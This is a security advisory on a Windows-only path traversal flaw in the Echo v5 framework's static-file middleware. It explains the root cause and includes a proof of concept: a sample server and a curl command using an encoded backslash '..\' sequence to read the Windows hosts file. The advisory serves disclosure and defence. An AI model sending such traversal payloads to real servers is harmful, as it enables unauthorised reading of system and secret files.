Echo has a Windows path traversal via backslash in middleware.Static default filesystem

Summary

On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics). path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\, allowing traversal outside the static root.

Relevant code:

• middleware/static.go (path unescape + path.Clean + currentFS.Open)
• echo.go defaultFS.Open → os.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean

• defaultFS combination reintroduces the Windows backslash traversal.

PoC

Windows only.

Sample code (main.go):

package main

import (
      "log"
      "net/http"

      "github.com/labstack/echo/v5"
      "github.com/labstack/echo/v5/middleware"
)

func main() {
      e := echo.New()

      // Important: use middleware.Static with default filesystem (nil)
      e.Use(middleware.Static("public"))

      e.GET("/healthz", func(c *echo.Context) error {
              return c.String(http.StatusOK, "ok")
      })

      addr := ":1323"
      log.Printf("listening on %s", addr)
      if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
              log.Fatal(err)
      }
}

Static file:

public/index.html

(content can be any HTML)

Run: go run .

Verify:

curl http://localhost:1323/index.html curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts" Expected: 404